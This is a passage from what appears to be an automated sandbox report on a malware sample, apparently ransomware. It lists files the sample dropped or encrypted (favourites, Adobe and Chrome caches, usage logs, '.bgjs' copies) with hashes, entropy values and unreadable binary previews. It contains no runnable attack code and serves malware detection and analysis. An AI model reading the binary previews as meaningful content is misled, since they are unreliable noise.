..)._.m,.6..R.xrI...Tr?....l.pFU...!.Kf........N..._.%....6...\.....y.}.u......R.C./MD..6.]Lh......../.._...[r..S..\|....6..f2\|..N4.0..^N...:....n#w...<ZC\|W.f..u.f1....AS.h..[..k+M:.z~..B.2.l...p...u>..B.$.u3Q\I.C..x..k......M....k.Vtx..Y=.nJQ~g.$..CnH.\|.x>.].#i..]..0....,...X_c.....m0,E\|m.......L.....t.KC!F.\..P............h...@A.].K...o:XoB7^.k.....!.d..;p.l...!./Y..E=.\|....zj....6.J....Z..4...'.....c..km........w..`....$...C..j..Y.N...!.2.G.).K.d.X..$e...DTO3.G.._...\|......d.._.H.&...\b+.4n.'AD....\`..h........u....E.'d..`H..O...._"..4`..m..M\|.2.U.=Ij..:R.~.x.....;.sAZ...~.....{..+..G...b.p.......l..t..-[.M8....gZ.lW.0u0..A..UZ~.-%.d..`..9`.+d..^..K.S.....sT...%..

C:\Users\user\Downloads\SQSJKEBWDT.docx.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.874919609843621
Encrypted:	false
SSDEEP:	24:2fyTo9SrXDZNzaj8aEyMCVPy3uPDx3KUFSWCbENdZhefc4CprxsbD:k96TfvyMzel3KUElbEdhefxCpdmD
MD5:	2F583959A4E5C0669A637136D7C909C7
SHA1:	C04ECD7F0258C90412D4375376C17852A8E0D6A2
SHA-256:	77B9B5D55233A9051E14EF7ACE5D464159DAFA7FAF37AAD146500BC6A7AFB3E8
SHA-512:	50CADC6C9C4A08E8A682E729D6D1E905F86B2CCEAC0EC1E0DAAAB2C2141E3DD98C6214A03C380973637092F663FC731A5DB0C45DEE94D236A7DF6B32B8938BF7
Malicious:	false
Preview:	SQSJK\|...Gh.....Y.....An..cqP.+c]....v....?g.<.,..F[..8..Fj.-.N.4`..:Y.G{.........d.M4z.}27'.Ws%b.. ...r...8.>...A..G.v\..e..=....g.S.N....h...z.U.T?9...5{......:..:"% '........rBuN.v..Pv.>.i.H.....!u^...m.(."9.P...J..R.o.#R....<...X..q../1...\..b..J.I..yqn.X.KK..$t.aZd. ..)._.m,.6..R.xrI...Tr?....l.pFU...!.Kf........N..._.%....6...\.....y.}.u......R.C./MD..6.]Lh......../.._...[r..S..\|....6..f2\|..N4.0..^N...:....n#w...<ZC\|W.f..u.f1....AS.h..[..k+M:.z~..B.2.l...p...u>..B.$.u3Q\I.C..x..k......M....k.Vtx..Y=.nJQ~g.$..CnH.\|.x>.].#i..]..0....,...X_c.....m0,E\|m.......L.....t.KC!F.\..P............h...@A.].K...o:XoB7^.k.....!.d..;p.l...!./Y..E=.\|....zj....6.J....Z..4...'.....c..km........w..`....$...C..j..Y.N...!.2.G.).K.d.X..$e...DTO3.G.._...\|......d.._.H.&...\b+.4n.'AD....\`..h........u....E.'d..`H..O...._"..4`..m..M\|.2.U.=Ij..:R.~.x.....;.sAZ...~.....{..+..G...b.p.......l..t..-[.M8....gZ.lW.0u0..A..UZ~.-%.d..`..9`.+d..^..K.S.....sT...%..

C:\Users\user\Favorites\Amazon.url

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.453910838763628
Encrypted:	false
SSDEEP:	12:RJvHw3S00BfYa6rcd9aiq2yDWWfy0YqfzYBZUQscii9a:RZQGBfZDiYEyXtJsbD
MD5:	8087CDA84B767DDF62FE73F601D8BA17
SHA1:	8860E05F8BAAB2905B033756CE9C9D4279471478
SHA-256:	2CAD15AE3DCD6F833083F5676270B28F19DC47CB6CD5D88B5677326D45C3B897
SHA-512:	1AA83C1D91A8E4FCD23034EE6486C478428B513AFE25283C4EF8FC11D8CFD55AC0D9F47737840F5CA14CB0BDD47B0A0599106023DAE5125FD5D89F971DB9ACDB
Malicious:	false
Preview:	[{000..q.'.5..3....+.......oGy`{'`._..QK.5a.w'.[A.-..`..Ju..#6..V.5..R.[1.....as&,.=$..c..).....u...\|.#...[....u....@U.}..}....f:}.\(.j....&t..'P..AB..h...{#..........+.j8..................g.q..XR.....AY.>.KU...]....n..^.....B....}>v.9..>R.....~..4v.2P~.n.(..R..s.vWk0...35..Tp.,..\.z..\|.N......@.,.&...+..0\|.f."xu.`.s.~"...._.....{eP...T.;.=(rT......8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Amazon.url.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.453910838763628
Encrypted:	false
SSDEEP:	12:RJvHw3S00BfYa6rcd9aiq2yDWWfy0YqfzYBZUQscii9a:RZQGBfZDiYEyXtJsbD
MD5:	8087CDA84B767DDF62FE73F601D8BA17
SHA1:	8860E05F8BAAB2905B033756CE9C9D4279471478
SHA-256:	2CAD15AE3DCD6F833083F5676270B28F19DC47CB6CD5D88B5677326D45C3B897
SHA-512:	1AA83C1D91A8E4FCD23034EE6486C478428B513AFE25283C4EF8FC11D8CFD55AC0D9F47737840F5CA14CB0BDD47B0A0599106023DAE5125FD5D89F971DB9ACDB
Malicious:	false
Preview:	[{000..q.'.5..3....+.......oGy`{'`._..QK.5a.w'.[A.-..`..Ju..#6..V.5..R.[1.....as&,.=$..c..).....u...\|.#...[....u....@U.}..}....f:}.\(.j....&t..'P..AB..h...{#..........+.j8..................g.q..XR.....AY.>.KU...]....n..^.....B....}>v.9..>R.....~..4v.2P~.n.(..R..s.vWk0...35..Tp.,..\.z..\|.N......@.,.&...+..0\|.f."xu.`.s.~"...._.....{eP...T.;.=(rT......8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Facebook.url

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	447
Entropy (8bit):	7.412888587637081
Encrypted:	false
SSDEEP:	12:YeC32EawJ3W7wRnJMTvksLX+L2YQQscii9a:WmEaV7wRnJ+vTLXKNsbD
MD5:	E8961E859FC2D12B85C8490AFA9C3EC4
SHA1:	00EC512EAEC47B6A2477D570E5A2D07261DDC0AA
SHA-256:	354CAA5811BD6AAF6B510F041E8B46D08C224053D41BCD4946ED18E368F6DEE0
SHA-512:	1A64071ED9E644B752642D54B013053A328603A4E2FBF739BAD505812B6F91B51F2C5F50BC50C05F524D4188CA71323E5330A2C03A68DCE55F391EE603F19BD1
Malicious:	false
Preview:	[{000....!.-I.ss.a.........+e5....Kn....q..d8......Q.`.{....2.v.+..2...T..xx.`. KmA[.0...h....1o..~(....ckUOX<.........R....83b(.,W..h..p.\|.v....2....?xW4..ii.{D..W.1......,....N".T..&.VPm..... k..*.m53J!.h.S.v..[...u.$...u.BG.U@.Enl#>.m..=..JR..L..........p~....@.2.e.........,.0...n.u....H.S....y..,K........o.<W........p.q.Y.....#.z-b(.....T.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Facebook.url.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	447
Entropy (8bit):	7.412888587637081
Encrypted:	false
SSDEEP:	12:YeC32EawJ3W7wRnJMTvksLX+L2YQQscii9a:WmEaV7wRnJ+vTLXKNsbD
MD5:	E8961E859FC2D12B85C8490AFA9C3EC4
SHA1:	00EC512EAEC47B6A2477D570E5A2D07261DDC0AA
SHA-256:	354CAA5811BD6AAF6B510F041E8B46D08C224053D41BCD4946ED18E368F6DEE0
SHA-512:	1A64071ED9E644B752642D54B013053A328603A4E2FBF739BAD505812B6F91B51F2C5F50BC50C05F524D4188CA71323E5330A2C03A68DCE55F391EE603F19BD1
Malicious:	false
Preview:	[{000....!.-I.ss.a.........+e5....Kn....q..d8......Q.`.{....2.v.+..2...T..xx.`. KmA[.0...h....1o..~(....ckUOX<.........R....83b(.,W..h..p.\|.v....2....?xW4..ii.{D..W.1......,....N".T..&.VPm..... k..*.m53J!.h.S.v..[...u.$...u.BG.U@.Enl#>.m..=..JR..L..........p~....@.2.e.........,.0...n.u....H.S....y..,K........o.<W........p.q.Y.....#.z-b(.....T.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Live.url

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	443
Entropy (8bit):	7.467616602215942
Encrypted:	false
SSDEEP:	12:P/OF1Hn/jkfWrBgH56jtZ2Ne3GQscii9a:nOPLkfeB0632NksbD
MD5:	6BA92A12E0D30FE4A2A88BC72AD9C109
SHA1:	99332FF8171A7892909DCAE20F54B2D5B0A69F9A
SHA-256:	054DB52DF159E00962172010A1525E42B7D10B1BEBF8C27FFCEEA26889591B76
SHA-512:	6CBA5FCE55D31A92AF61C7B4317D71D3299217195ECBE6B9AA788397520484144E6F18929024882AEBD2A7B4995B356FC767E5B022B8A30CE3F53E70C834A803
Malicious:	false
Preview:	[{000`.e...]m...vL.L.m.1...p.f..m!}...s..9.U........J..............ps.9........G.....k.a.......P.+...7./T...>_..-.iP0..Pk.<..1,.0c.n.n..Z...?......?..'...4.1.....6A.._...1M3Q......ug.....{..........2..T.P.H......\|:.4q.?..@Xub......0h..L../....:T.!'..2>..[...o.H..d.w..O...F.;..&.........h......~.....w.c..C.O[........N....S.#.k..x0.3......SGy..ty.6.u8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Live.url.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	443
Entropy (8bit):	7.467616602215942
Encrypted:	false
SSDEEP:	12:P/OF1Hn/jkfWrBgH56jtZ2Ne3GQscii9a:nOPLkfeB0632NksbD
MD5:	6BA92A12E0D30FE4A2A88BC72AD9C109
SHA1:	99332FF8171A7892909DCAE20F54B2D5B0A69F9A
SHA-256:	054DB52DF159E00962172010A1525E42B7D10B1BEBF8C27FFCEEA26889591B76
SHA-512:	6CBA5FCE55D31A92AF61C7B4317D71D3299217195ECBE6B9AA788397520484144E6F18929024882AEBD2A7B4995B356FC767E5B022B8A30CE3F53E70C834A803
Malicious:	false
Preview:	[{000`.e...]m...vL.L.m.1...p.f..m!}...s..9.U........J..............ps.9........G.....k.a.......P.+...7./T...>_..-.iP0..Pk.<..1,.0c.n.n..Z...?......?..'...4.1.....6A.._...1M3Q......ug.....{..........2..T.P.H......\|:.4q.?..@Xub......0h..L../....:T.!'..2>..[...o.H..d.w..O...F.;..&.........h......~.....w.c..C.O[........N....S.#.k..x0.3......SGy..ty.6.u8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Reddit.url

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.454990402533769
Encrypted:	false
SSDEEP:	12:8PtKfc8WrHJMjeyieXthxQjbq3b25KQscii9a:80fxKpMjlioa5sbD
MD5:	E8337FD0BD7940EE5201B39A18A5043E
SHA1:	C4A6F152CE4E420780A127FBE075C0330F3B56E0
SHA-256:	FFCB8D38DDE5F686D30C95A51BBBB80EB58D1ED958BBDCE208B3333728183A37
SHA-512:	C57A2B18C51FDCF6C755B58032143351F12A2F8E3D0B3ABAC3ECE1D742274DDB71EBE5B9FEB506D7FDE4C7CDFA69466645693AE36A2BECCB80D61E98676BF156
Malicious:	false
Preview:	[{000..1..Zr./.......^...C.x.......'..:.E.h7.E?...X..v[..KYq..h.....".YT.....8?1...wu.<F+W/K._.J.1^.L..nU...S{..Kd...'.(f.%.'l....^J[......:..../..Jk6..v.}..h.DP8.ZU..1........6F.3.FN.W.4J.......p.1.....;....J.a......V.l8=......%....a..zs.&.J \;.#...i\.E.t.9...N../;a..I........`....~B....i...........0`.Js.s.N...$5....Iu..ti....M..)......Y6....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Reddit.url.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.454990402533769
Encrypted:	false
SSDEEP:	12:8PtKfc8WrHJMjeyieXthxQjbq3b25KQscii9a:80fxKpMjlioa5sbD
MD5:	E8337FD0BD7940EE5201B39A18A5043E
SHA1:	C4A6F152CE4E420780A127FBE075C0330F3B56E0
SHA-256:	FFCB8D38DDE5F686D30C95A51BBBB80EB58D1ED958BBDCE208B3333728183A37
SHA-512:	C57A2B18C51FDCF6C755B58032143351F12A2F8E3D0B3ABAC3ECE1D742274DDB71EBE5B9FEB506D7FDE4C7CDFA69466645693AE36A2BECCB80D61E98676BF156
Malicious:	false
Preview:	[{000..1..Zr./.......^...C.x.......'..:.E.h7.E?...X..v[..KYq..h.....".YT.....8?1...wu.<F+W/K._.J.1^.L..nU...S{..Kd...'.(f.%.'l....^J[......:..../..Jk6..v.}..h.DP8.ZU..1........6F.3.FN.W.4J.......p.1.....;....J.a......V.l8=......%....a..zs.&.J \;.#...i\.E.t.9...N../;a..I........`....~B....i...........0`.Js.s.N...$5....Iu..ti....M..)......Y6....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Wikipedia.url

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	448
Entropy (8bit):	7.4526406520595545
Encrypted:	false
SSDEEP:	12:RXM2OwWp22sM2ayTLbmFhl79bIOkQlhWQQscii9a:RX+wWp22sMJyHbyhl7qOosbD
MD5:	3D6550F255DA0B20756EEC9E2FD8E4B8
SHA1:	5171D3CC3EE5E3746FB0DEA34046587D77C0BB03
SHA-256:	6466153EA3ED7A3D27826949EA72D6BD093F71628C747D4D823C17541B24B692
SHA-512:	719E29623B18983FAA00F66F0ED1CE1C0B3293EFC70A3F1564274F1E097474657C4D77DBAF85C4CD2031AA5D7DAFFA653689D54C88123E8763479AB48147DF3C
Malicious:	false
Preview:	[{000....A....[89P!'T.N0.( ..y.6....L..".............4...F\|.?..Y........'Pw....:o...6..,M.[.z..,......kt.~V.,0O)..H!9..\|..D.)....+.VQL.zdf..D.Dp......q. s+.M#.....}..I.)C.b..Z...7..K...a.._/G....7M.1.....B..N.~.t.\.W`.">..S..T. #.%..4],..........J.]0?(..[.....+{......A....E.~+o..q./.O.........U~/"....qo.ZA.KG&_sv[9=...a....R....5..\|/C..?.Pb8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Wikipedia.url.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	448
Entropy (8bit):	7.4526406520595545
Encrypted:	false
SSDEEP:	12:RXM2OwWp22sM2ayTLbmFhl79bIOkQlhWQQscii9a:RX+wWp22sMJyHbyhl7qOosbD
MD5:	3D6550F255DA0B20756EEC9E2FD8E4B8
SHA1:	5171D3CC3EE5E3746FB0DEA34046587D77C0BB03
SHA-256:	6466153EA3ED7A3D27826949EA72D6BD093F71628C747D4D823C17541B24B692
SHA-512:	719E29623B18983FAA00F66F0ED1CE1C0B3293EFC70A3F1564274F1E097474657C4D77DBAF85C4CD2031AA5D7DAFFA653689D54C88123E8763479AB48147DF3C
Malicious:	false
Preview:	[{000....A....[89P!'T.N0.( ..y.6....L..".............4...F\|.?..Y........'Pw....:o...6..,M.[.z..,......kt.~V.,0O)..H!9..\|..D.)....+.VQL.zdf..D.Dp......q. s+.M#.....}..I.)C.b..Z...7..K...a.._/G....7M.1.....B..N.~.t.\.W`.">..S..T. #.%..4],..........J.]0?(..[.....+{......A....E.~+o..q./.O.........U~/"....qo.ZA.KG&_sv[9=...a....R....5..\|/C..?.Pb8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Adobe\Acrobat\DC\AdobeCMapFnt23.lst.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1567
Entropy (8bit):	7.875758625782045
Encrypted:	false
SSDEEP:	24:XVqkjoLXP2qcziFgA7wsaWHqmgiJOqVIjTjmlmX6tulmrTUHgeznZLVsCsbD:XPMUeFt9Ym77o/jcQgKnZjmD
MD5:	CCFCDA85D3410917231EF0823A44673E
SHA1:	FA65D78FB7585F617C589A1BB6A5BC5E631D84CD
SHA-256:	537F263602FD67DF6A5400D7FEFEE9AA9A56AC199A2A744C29CCDC578117DB8D
SHA-512:	B30136F0E36F86C7618678B0231A45544FD02D0361FFE2F5ACC399CD103064367ED41D4D798115DFED93A80B8A767857C84A8F5A7D6936A85F39A516128011E8
Malicious:	false
Preview:	%!Ado..r&.a.W...j.....F...;..kN.H..."F..{...J....\A....c.F.u.D./.H....g.?..h.&`-.M.6...eG.Q.4[.0..........j.+DB.j..X.f.......,.J.h.9.Bl..._..hk....}Y<.tG./.M. 9ec.'.....u`..yl.2.<.q.soY;....D.'F<.B.A........&.PU"...8vf`].......p=.>\.,B.=A#I+.5..I.!......<.....62.eS.4.../...C....~.9..;ui..8s....O........c....(y.S..?v.H.B...I..X..C.....vn.5\...q=N..?.....Q....[..:..d/w....2.2.w.E..2...Gl\|.JLf..Q+...pW.q.d#a.x..Z.....&...+.wY.V7...[.n....L....7..G./g1.......\L#D....~......5..+.+.]Th...P.`.M...cN.V),l..N...X...)S.....t..FV..d.........,..7Z....&FA. A........\..Us.n....:.V..l-...]GS\|].}.....U.V..7.,..\e..}....%c.Y..Z..4..{.....5............SD8$...)._ .=wf_..Q,..J):e.AX..}.x.-.D."...r.]!...........k..XG.z...l.<..b..N.D.U..(.....m.k.F.......2.N)..Rl..O.$#Y.N`.y.R....T..i.E<...!...-b.7N..mb.+.^.\^.!.J.H.Cs.r...p3.{\..=.<z..2.C`x.gh..^.Y'..}....J...3...}...Z.@..)W...B{...[..?.\|..MK....,$)Y.IU{.../c..[.:d.]F>.7".qD..d..(\|...6...2..t..Z.~.......vA^.

C:\Users\user\Local Settings\Adobe\Acrobat\DC\AdobeSysFnt23.lst.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185433
Entropy (8bit):	7.877622525601822
Encrypted:	false
SSDEEP:	3072:w4phRFi0NBtj6k9HnBkrrAggRCT3J25ONiYxPhZxrgwU9jDz/CXE07ZmandGCyNu:71JjtEAclNBP5fU9eXE07ZmandGCyN2B
MD5:	00450B5F7C4CAF944FF0D329663F5E40
SHA1:	9D629B6B811413657DE611F1A9BF649D07A5A51F
SHA-256:	7750BC7CA203AC06FF3FE815FDF96BE1508C3D4EEB78A1B1E16DBF42E4FD9A27
SHA-512:	B73714B3378572BDBFC7F023D74208F1643E5908066B5AE27B04942E3278DFE11929118852D2AFF119D2EA3649F5FD44EBB9CFE9781025817F8EBDE60C7E3D8C
Malicious:	false
Preview:	%!Ado...G.q..1.f...H"..>...!UW...........h....(@..z...`....X......[.A...'....MW.<....]eC]x.J.F.Z.T..m.~J..O[.^..g.....Z..9F.G...H-.......e....1..=.....?\...:,F.q....K5......[L.M...+..pfK.j_n..~.S)..EY.:AG...I~q9.......B..L{..Y.tb^..j..cf..L..c[iJ.....b..u....u....q.1....0.#.....8w...`4\.......^GgR\|\|...a...}..~...m.#.upYT..k..~..Y..S....3...^F..lh..O...k.,.YX[cB.....l.+K...\([..@....\.....~G.oG:g.....=.......J../>T.3.&^.]....0"@;..z'...)%..1.......,....n...^.1/cF.d.,p...T..X.&{b.OV.....Z'....F..S:d\0[.][...[..1}e..>..=......aZ-...?t..!..F.\|{[% .......%....I.C.!.hEU.%y.....LE..d...`..p....K.O.].E,.!........F..0.......e.N.yp..x...b....B..nf.T..IY/.v.....i;n.o....j.!.......$../...!..Z...... y.@........."..sJ(.e.a...w.W..#.{T....;........+.~..+k.h.j..x...N.V..=/.lN....[J....Up..p......v.ob.L..-...Y.....?$...a6.k......WW:#.v..>...}(g.i.C.Y.v..VF..Z....E\..`h.@....B).sm.IB..`....4gm..4...Y.Y..OA.6..E...3..z.=0..s.....j&..a...JN...\|..'.

C:\Users\user\Local Settings\Adobe\Acrobat\DC\IconCacheAcro65536.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	227336
Entropy (8bit):	6.9842353722108825
Encrypted:	false
SSDEEP:	3072:kNgvrcUg1NI7NjAJ9+AYzOUU+//Xw72DndyIumWXSMn0VJZ0OoWiRnN:kNAg1NI7NsFhUU+//WgEBcsnN
MD5:	A9646E848BE9BB455D8A657E356B4C47
SHA1:	E14F17A9FD1C0ED887CBB19A6AAC7989BB6BDEFC
SHA-256:	751EDFB53BBC20C92C1F64513690012F89E896D661A78ECECD44DBBCF6E4F232
SHA-512:	6301F6C71BF457CFFF04F36589364B96589160AE35E095EA3F9EDCA8196BAFB5FF0420C8F652A04F7C7D69BF2F590A248F04390D6E80B879B69A7A3DD679DB7C
Malicious:	false
Preview:	Adobeh."<e.J....w.J..R......%.....=D.........w"....l..VF..[..1p........$.).}h.[;.xH.@R....V..8#..e.0..""?.(.!..l......Z.3.....\|.....(.bx.SvM..3......'.H.,...[.t...[j.o.......qq..Q..~:."......t...:.....d#..O.......0.l.m.9_...2W....Ur....3..e.?...KXH.......\.D....M\........7.vh.S.......y".....2.E.s?..np....9.....}....(..-...W....8.(L...I...b...[..l..@\|... ...v.`.H ..!.)05X.q.........+Rxv......M...]3$.......c..b.A....._...W6.-~..h...Y..I...3.....r....ld;........w<w.G..;.F#.[bw.>.-..A...vs...!Q/3.z....m..L%..NV.O....I..V..'h.. J...(.U-.A..E.}.{1Uu._..;.#iH..s.....}.s.-...y..?W=..^}....a.`.4.-+.[?m ......vW.?:..L...yQ.v.7W....'.5../.../.n...rGI.M..p......."..c.&.........u2..M.%H...=.....M.h.._N......H..+....j......H..y..V............a.X.ao..5....K.&.9.z\Y,..]..-K..B.......z,\|..?=_.3Zr.e.y...........q.{.\|k........?F0........./.AJ.8.q.~a.-E...;..0=...T6..=.z..W.0<wN.Z...$...I..}..L.B.;%....u.Q.[...@..l.........B..`R....xgj...m.!1...ga

C:\Users\user\Local Settings\Adobe\Acrobat\DC\UserCache64.bin.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	67060
Entropy (8bit):	7.997617737911199
Encrypted:	true
SSDEEP:	1536:/2ofRKF/N/eV9wCtX9e4PfcTskBRo7B6y6emk1tEwdhYxsPR:+ofUhc0C9gAfcTPTaB6mEAux+
MD5:	B8AEE96F5F212C9B560CC78BA66F637D
SHA1:	0B72DAF9254A28A16BA0BFD817D6FCB8CFB145F4
SHA-256:	6DFB88B70063F28370DC42DADFE8FF4B3ADA91752EEAE0057AAB730D869A13AB
SHA-512:	EA5516AF84A48F0952C7CD39A722181F2EEAC32512FFC31A4F6498C18D13D9EBF0AD49DBB8519632FA7E18B3F3B16879C163869E84FB16DD0ED44686DD1DC35B
Malicious:	true
Preview:	4.397.....:..'..5..Z.+{._TV.z...R-...s+....$.u..wHV.5...p.%..\|.7h......{TI`..."d.A-`]...E.M....h9..G...B..2..6...u) ....L$_5J...."$....%.ELw.&...g../..X&aCT...+_.}..`.s..}E.~B[U.6g(..!._@...:.1.]..M.RC..o.S...E...\FW9.4..}....@...D..g65N.0.28H...>..J....5..,.ba.....a.V}.:....-..'^..fZ..'fn.vr%.K..>.u..I....P.p....b..6.A..m..kn8=...o;,\|...vWa..::1...Hgf....-...[\|.Mz1.c.....r .... ..H...%..a-..Y."KC...[.-..x+......>Q }K.z.:[W&..,f?{(.}....]..._..!VE..6P..[\|,.i..uH...j.4....\|.3...@..........\...?...j....{......@......j[.=7./.OP1.<6....9\|..9..F..z..K..C.O"d...#.$q....v...G.......05D.c.G;..eS5...q...b..@~%.t.....D6O.p..G.=I.r..(....`..e.3..../......!.t:.dNq ......".q.......Qu..`U{...F5K...Gx...<.l4O...6......<]i.^.Ooc.}N#..."....D..j.&.W...?B)O.-:S"....-M.....I.W/.<!..q+.. ..hM...C..$3.k%....M........Nq.R.B...7...[..}.n.R.O....,[fJH.\|..[...F7.I...E.X.....4....O/~.t..(9.vK.4.H3.>.P=......H.+......TD.~..\N.:U...)Un.*9I-.....:.6..]..H..:Q.......!^...Z...

C:\Users\user\Local Settings\Google\Chrome\User Data\first_party_sets.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.997050463249526
Encrypted:	true
SSDEEP:	1536:M/AMm1/LS5iEp5o8Rfs5vOzwUrWZg16zYx:M/Z1lpCbOzrrWZvk
MD5:	BA9F98394A7DA8240B624B498FE60D50
SHA1:	4825E106CE8ACC25FB30C878CD2B5D440A24E203
SHA-256:	B459C36057AD6205FEC2B89BCF434B2C0A9EA9439AA937DDEA037D7AE92DFCE1
SHA-512:	942A32ED9EDA373DDDF4717C59EADCB6C1AF542444EE2B72CF82DA240575BCEFA3BAA63CE7FF1855EDD4BEB53F2979D119BD595AB2932226A690C2D31CBC5C49
Malicious:	true
Preview:	SQLitZ...4..&Ih...._.b..[a....dT.%E.T...4X....\.....q..._......?....n.=G.o......&F T.l9.7......g]J...w..Y..y..V.(.....D.t.y.T.y.0f.\|.=......].2.8h(..&.c....2G...Y.pt._).......7..T$...f..S.....K.N....ek.+$......P!uC...^.8.)........].6.M..i..6.5.....jRX(.d..<..<.H.......`l..Rm.................`..#Pf.'.4_...X.C.}.v...^3T:"?.u}BP..K'.G...(.zb... ..').e...)<vD...w.......Fh......t..]......Y.........i[.9.. ..7...q%....s.>.Uz.;...M~....d.b/Xt....)He..bX..I.....U..o.M".h.........A....m.n..\|~~.c!....#........A.SW.4j..&..J....U.\|..wPhK<{/..8`...Q......z...J?...,E..p........4..$2...?...5..[....6H[;..3i....{%-..~@TD.e....c?.]Iq.Q=..\|.......7-.`@I...iG.[.X..9..-.>..y'.X.S..=.M.d.4{....L...&....(l.gJ^4.B.%.r...6$Ppv...kf...O.F.....9....w.v. .f....a..4...."<...'..x/.]...5.G...iZ...W.(...HU.!..&-.E..(..;......FKVQ '.X.l.\6o..-'.....6..;..b.B..M./\...c..#v....Im.6HJ......O.r!....(.=.o.K.....r$Dq...m#...Ys..q.}.E.C..W\+.k..GG.y.*.S[;...@'.BV.......Y

C:\Users\user\Local Settings\Microsoft\CLR_v2.0_32\UsageLogs\unarchiver.exe.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	354
Entropy (8bit):	7.337831708458905
Encrypted:	false
SSDEEP:	6:QM7B+xz41NXw5DPeMyTK+w2Zs/2CcN3ikiAugZkjIRWXNoMa2MEUQW3cii96Z:QM7Ixz4DwBeM4K+IWSkioZ4OWXNoOUQ+
MD5:	06C992151A3EBE11B5FC104660DF70EB
SHA1:	AF2850DA5439ECFC782CA7A7C857AB63183E88F9
SHA-256:	4B58393F94A68F2FCFE3C0F9882C9EF1A41F4B316AF36069EC2FC5FACFCE1804
SHA-512:	9E7105572AF55F95283D941810CF2DBA629EE872178015133CC8225621ECFB976974CACF9C879F0756B60F1756F1A5D653A9962E3492A012CB0130BC0989872C
Malicious:	false
Preview:	1,"fu.y9.....}....C......-....;....G.c%E..nKGcZ..OF.U..b..s...(....m....5I..q.Z.[..?3\h."..,..\9....UI..;.^...^.ae.......3.H.......hk...[V..).s........4.......w.....:..:..A..........CHN=......`.1-.*.\"...hJ...5..6Y%....o...i...f..b.>...e..X:..z..........8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\CLR_v4.0\UsageLogs\InspectorOfficeGadget.exe.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1554
